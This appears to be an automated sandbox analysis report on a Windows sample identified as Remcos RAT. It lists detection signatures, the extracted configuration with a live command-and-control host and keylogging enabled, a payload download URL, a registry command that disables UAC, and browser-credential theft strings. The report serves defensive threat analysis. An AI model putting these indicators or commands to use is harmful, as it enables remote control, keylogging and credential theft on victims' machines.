Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
pPLwX9wSrD.exe

Overview

General Information

Sample name:pPLwX9wSrD.exe
renamed because original name is a hash value
Original sample name:8ee7bb70506574eb0ba1bffc0bafd993c707d01e54385ca83fb3f731521a9298.exe
Analysis ID:1573894
MD5:1492e1506afedad20933ae244cf658d1
SHA1:db68cd234205c628ebf3a8329246baf3cdc10ead
SHA256:8ee7bb70506574eb0ba1bffc0bafd993c707d01e54385ca83fb3f731521a9298
Tags:181-131-217-244exeuser-JAMESWT_MHT
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code contains very large array initializations
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Contains functionality to prevent local Windows debugging
Creates multiple autostart registry keys
Drops large PE files
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to delete services
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to retrieve information about pressed keystrokes
Contains long sleeps (>= 3 min)
Creates COM task schedule object (often to register a task for autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Launches processes in debugging mode, may be used to hinder debugging
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • pPLwX9wSrD.exe (PID: 7440 cmdline: "C:\Users\user\Desktop\pPLwX9wSrD.exe" MD5: 1492E1506AFEDAD20933AE244CF658D1)
    • csc.exe (PID: 7716 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)
  • dzocgvabs.exe (PID: 7884 cmdline: C:\Users\user\AppData\Local\Temp\dzocgvabs.exe MD5: 27650AFE28BA588C759ADE95BF403833)
    • dzocgvabs.exe (PID: 8076 cmdline: "C:\Users\user\AppData\Local\Temp\dzocgvabs.exe" MD5: 27650AFE28BA588C759ADE95BF403833)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": ["newstaticfreepoint24.ddns-ip.net:1842:0"], "Assigned name": "FUTURAMA", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Enable", "Hide file": "Disable", "Mutex": "jdjgkdgjgkjhh-8DHJNN", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "fdgfghgfhg", "Keylog file max size": ""}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
    00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
      00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
        00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
        • 0x6aaf8:$a1: Remcos restarted by watchdog!
        • 0x6b070:$a3: %02i:%02i:%02i:%03i
        00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
        • 0x64d94:$str_a1: C:\Windows\System32\cmd.exe
        • 0x64d10:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x64d10:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
        • 0x65210:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
        • 0x65810:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
        • 0x64e04:$str_b2: Executing file:
        • 0x65c3c:$str_b3: GetDirectListeningPort
        • 0x65600:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
        • 0x65780:$str_b7: \update.vbs
        • 0x64e2c:$str_b9: Downloaded file:
        • 0x64e18:$str_b10: Downloading file:
        • 0x64ebc:$str_b12: Failed to upload file:
        • 0x65c04:$str_b13: StartForward
        • 0x65c24:$str_b14: StopForward
        • 0x656d8:$str_b15: fso.DeleteFile "
        • 0x6566c:$str_b16: On Error Resume Next
        • 0x65708:$str_b17: fso.DeleteFolder "
        • 0x64eac:$str_b18: Uploaded file:
        • 0x64e6c:$str_b19: Unable to delete:
        • 0x656a0:$str_b20: while fso.FileExists("
        • 0x65349:$str_c0: [Firefox StoredLogins not found]
        Click to see the 21 entries

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        4.2.dzocgvabs.exe.5a60000.0.unpackJoeSecurity_Keylogger_GenericYara detected Keylogger GenericJoe Security
          4.2.dzocgvabs.exe.5a60000.0.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
            4.2.dzocgvabs.exe.5a60000.0.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              4.2.dzocgvabs.exe.5a60000.0.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x69ef8:$a1: Remcos restarted by watchdog!
              • 0x6a470:$a3: %02i:%02i:%02i:%03i
              4.2.dzocgvabs.exe.5a60000.0.unpackREMCOS_RAT_variantsunknownunknown
              • 0x64194:$str_a1: C:\Windows\System32\cmd.exe
              • 0x64110:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x64110:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x64610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x64c10:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x64204:$str_b2: Executing file:
              • 0x6503c:$str_b3: GetDirectListeningPort
              • 0x64a00:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x64b80:$str_b7: \update.vbs
              • 0x6422c:$str_b9: Downloaded file:
              • 0x64218:$str_b10: Downloading file:
              • 0x642bc:$str_b12: Failed to upload file:
              • 0x65004:$str_b13: StartForward
              • 0x65024:$str_b14: StopForward
              • 0x64ad8:$str_b15: fso.DeleteFile "
              • 0x64a6c:$str_b16: On Error Resume Next
              • 0x64b08:$str_b17: fso.DeleteFolder "
              • 0x642ac:$str_b18: Uploaded file:
              • 0x6426c:$str_b19: Unable to delete:
              • 0x64aa0:$str_b20: while fso.FileExists("
              • 0x64749:$str_c0: [Firefox StoredLogins not found]
              Click to see the 23 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: CurrentVersion Autorun Keys Modification
              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Videos\OrionLegacy\Bin\OrionLegacyCLI.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\pPLwX9wSrD.exe, ProcessId: 7440, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OrionLegacyCLI

              Suricata Signatures

              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-12T17:40:06.529888+010020327761Malware Command and Control Activity Detected192.168.2.749851181.131.217.2441842TCP
              2024-12-12T17:40:17.719004+010020327761Malware Command and Control Activity Detected192.168.2.749876181.131.217.2441842TCP
              2024-12-12T17:40:21.209783+010020327761Malware Command and Control Activity Detected192.168.2.749883181.131.217.2441842TCP
              2024-12-12T17:40:26.974691+010020327761Malware Command and Control Activity Detected192.168.2.749899181.131.217.2441842TCP
              2024-12-12T17:40:35.739867+010020327761Malware Command and Control Activity Detected192.168.2.749919181.131.217.2441842TCP
              2024-12-12T17:40:39.089013+010020327761Malware Command and Control Activity Detected192.168.2.749929181.131.217.2441842TCP
              2024-12-12T17:40:50.246375+010020327761Malware Command and Control Activity Detected192.168.2.749955181.131.217.2441842TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-12T17:40:51.523614+010020327771Malware Command and Control Activity Detected181.131.217.2441842192.168.2.749955TCP
              TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
              2024-12-12T17:40:53.735775+010028033043Unknown Traffic192.168.2.749962178.237.33.5080TCP

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Found malware configuration
              Source: 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": ["newstaticfreepoint24.ddns-ip.net:1842:0"], "Assigned name": "FUTURAMA", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Enable", "Hide file": "Disable", "Mutex": "jdjgkdgjgkjhh-8DHJNN", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "fdgfghgfhg", "Keylog file max size": ""}
              Multi AV Scanner detection for submitted file
              Source: pPLwX9wSrD.exeReversingLabs: Detection: 39%
              Yara detected Remcos RAT
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 8076, type: MEMORYSTR
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.9% probability
              Source: dzocgvabs.exe, 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_75f159bd-4

              Exploits

              barindex
              Yara detected UAC Bypass using CMSTP
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.dc80000.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 4.2.dzocgvabs.exe.5a60000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: dzocgvabs.exe PID: 7884, type: MEMORYSTR
              Source: pPLwX9wSrD.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
              Source: unknownHTTPS traffic detected: 185.166.143.50:443 -> 192.168.2.7:49764 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 54.231.193.17:443 -> 192.168.2.7:49770 version: TLS 1.2
              Source: Binary string: D:\Rohan_SVN\Source\Server\RunRelease\DBServerT.pdb source: pPLwX9wSrD.exe
              Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: csc.exe, 00000003.00000002.3258013197.000000000A390000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007918000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: Srlfeb.pdb source: csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3255208484.00000000071E0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.000000000894C000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: csc.exe, 00000003.00000002.3258013197.000000000A390000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.0000000007918000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008D23000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: protobuf-net.pdbSHA256}Lq source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: protobuf-net.pdb source: csc.exe, 00000003.00000002.3257799079.0000000009DC0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.0000000008C65000.00000004.00000800.00020000.00000000.sdmp
              Source: Binary string: D:\Rohan_SVN\Source\Server\RunRelease\DBServerT.pdbP2N source: pPLwX9wSrD.exe
              Source: Binary string: Srlfeb.pdbx source: csc.exe, 00000003.00000003.1794277108.0000000008B2E000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3255208484.00000000071E0000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000003.00000003.1794277108.000000000894C000.00000004.00000800.00020000.00000000.sdmp
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32Jump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32Jump to behavior

              Networking

              barindex
              Suricata IDS alerts for network traffic
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49851 -> 181.131.217.244:1842
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49876 -> 181.131.217.244:1842
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49883 -> 181.131.217.244:1842
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49929 -> 181.131.217.244:1842
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49899 -> 181.131.217.244:1842
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49955 -> 181.131.217.244:1842
              Source: Network trafficSuricata IDS: 2032777 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Server Response : 181.131.217.244:1842 -> 192.168.2.7:49955
              Source: Network trafficSuricata IDS: 2032776 - Severity 1 - ET MALWARE Remcos 3.x Unencrypted Checkin : 192.168.2.7:49919 -> 181.131.217.244:1842
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: newstaticfreepoint24.ddns-ip.net
              Source: global trafficTCP traffic: 192.168.2.7:49758 -> 181.131.217.244:30203
              Source: global trafficHTTP traffic detected: GET /facturacioncol/fact/downloads/null.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-40cc-a367-13b7035db3ac/null.exe?response-content-disposition=attachment%3B%20filename%3D%22null.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIK3V4DGT&Signature=CeSXCizIndXdpo0hNVhQNHPO6YE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAkaCXVzLWVhc3QtMSJGMEQCIAiR1Rr4gukDYzqDqe6VyCYznX6djf6omD53N9z5eXxNAiAOa4oQ0hLIqn6hHaGwFLs9dy9CGpADmC9r%2BgzzvYixzCqwAgjC%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMdLt8wvGnGxpQ3VhgKoQCe8wqaRBxnVnGmgCUhs6TWySAMRXKxScrbgQIw1l5TliYWycjvfrdQ9KAUuNMU%2FwhakGHoE0SFuTSYhrM1G9PRALReQarQNdwzYN63jorLJ4YWbF3XMNkCEIyc7ndfWAWAsw%2FfjWHG0%2BHTpx6RPw%2FIQG57%2Fn5zg5wiHWoPYYes5WgRI5TNywnrgMzT2HeQqLoN3qnaIg%2BAtnkqDKS5EY2FY6PH72PmOl7UVqeyAnEuwwblKQlwD8%2FDNIruRgkrhDndJwiNI%2Fjj%2Fbmpx1PYlG3DYXUkX3nG9qpqdlp9qaxg66RItC8i7CuMgnCQGyIpd9Ne8xvpXMpMHF7fcuhoxTOVxRBVHQwsaPsugY6ngFGmq3npFGM4oH6YpgZGTfIpeNNKlZdAXKSvIsR6TfEz3KZeh4E29gHAGlbMUmtWcvwuflus8R05%2FCWtxLjrJB20TKCSAJ0mZ7ha8acTW5DNuxqW4A6JSpacupf41tUXUKIvQwULtF4tmDv7359nQosi0CBcA%2F4VOm6lqogmU0NyZY9bZyJ4%2BwRjnbrHuOJtTOOxuSqcBPZRUcYiqA%2FuQ%3D%3D&Expires=1734023353 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 181.131.217.244 181.131.217.244
              Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
              Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
              Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49962 -> 178.237.33.50:80
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /facturacioncol/fact/downloads/null.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /986cb0ac-5fcf-4393-afaa-e2b223260ae9/downloads/47e1d263-9601-40cc-a367-13b7035db3ac/null.exe?response-content-disposition=attachment%3B%20filename%3D%22null.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIK3V4DGT&Signature=CeSXCizIndXdpo0hNVhQNHPO6YE%3D&x-amz-security-token=IQoJb3JpZ2luX2VjEAkaCXVzLWVhc3QtMSJGMEQCIAiR1Rr4gukDYzqDqe6VyCYznX6djf6omD53N9z5eXxNAiAOa4oQ0hLIqn6hHaGwFLs9dy9CGpADmC9r%2BgzzvYixzCqwAgjC%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F8BEAAaDDk4NDUyNTEwMTE0NiIMdLt8wvGnGxpQ3VhgKoQCe8wqaRBxnVnGmgCUhs6TWySAMRXKxScrbgQIw1l5TliYWycjvfrdQ9KAUuNMU%2FwhakGHoE0SFuTSYhrM1G9PRALReQarQNdwzYN63jorLJ4YWbF3XMNkCEIyc7ndfWAWAsw%2FfjWHG0%2BHTpx6RPw%2FIQG57%2Fn5zg5wiHWoPYYes5WgRI5TNywnrgMzT2HeQqLoN3qnaIg%2BAtnkqDKS5EY2FY6PH72PmOl7UVqeyAnEuwwblKQlwD8%2FDNIruRgkrhDndJwiNI%2Fjj%2Fbmpx1PYlG3DYXUkX3nG9qpqdlp9qaxg66RItC8i7CuMgnCQGyIpd9Ne8xvpXMpMHF7fcuhoxTOVxRBVHQwsaPsugY6ngFGmq3npFGM4oH6YpgZGTfIpeNNKlZdAXKSvIsR6TfEz3KZeh4E29gHAGlbMUmtWcvwuflus8R05%2FCWtxLjrJB20TKCSAJ0mZ7ha8acTW5DNuxqW4A6JSpacupf41tUXUKIvQwULtF4tmDv7359nQosi0CBcA%2F4VOm6lqogmU0NyZY9bZyJ4%2BwRjnbrHuOJtTOOxuSqcBPZRUcYiqA%2FuQ%3D%3D&Expires=1734023353 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: global trafficDNS traffic detected: DNS query: navegacionseguracol24vip.org
              Source: global trafficDNS traffic detected: DNS query: bitbucket.org
              Source: global trafficDNS traffic detected: DNS query: bbuseruploads.s3.amazonaws.com
              Source: global trafficDNS traffic detected: DNS query: newstaticfreepoint24.ddns-ip.net
              Source: global trafficDNS traffic detected: DNS query: geoplugin.net
              Source: csc.exe, 00000003.00000002.3256041816.00000000079E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://bbuseruploads.s3.amazonaws.com
              Source: csc.exe, 00000003.00000002.3256041816.00000000079A9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://bitbucket.org
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D88000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D88000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/
              Source: dzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
              Source: dzocgvabs.exe, 00000004.00000002.2056165687.0000000005A60000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2056568324.000000000DC80000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
              Source: dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D62000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D6D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpL
              Source: dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D99000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D88000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpR
              Source: dzocgvabs.exe, 00000007.00000003.2493856126.0000000009D62000.00000004.00000001.00020000.00000000.sdmp, dzocgvabs.exe, 00000007.00000002.3254552082.0000000009D6D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpl
              Source: dzocgvabs.exe, 00000007.00000002.3254290019.0000000009D3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpp
              Source: csc.exe, 00000003.00000002.3256041816.00000000079E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://s3-w.us-east-1.amazonaws.com
              Source: csc.exe, 00000003.00000002.3256041816.0000000007A55000.00000004.00000800.00020000.00000000.sdmp, csc.exe, 00000003.00000002.3256041816.00000000076B1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: pPLwX9wSrD.exeString found in binary or memory: http://www.geomind.co.kr/
              Source: pPLwX9wSrD.exeString found in binary or memory: http://www.geomind.co.kr/Online
              Source: csc.exe, 00000003.00000003.1794277108.0000000008E90000.00000004.00000800.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000002.2057015971.000000000F63E000.00000004.00001000.00020000.00000000.sdmp, dzocgvabs.exe, 00000004.00000000.1792904857.000000000051C000.00000020.00000001.01000000.00000008.sdmp, HardDiskSentinelBin.exe.4.drString found in binary or memory: http://www.hdsentinel.com
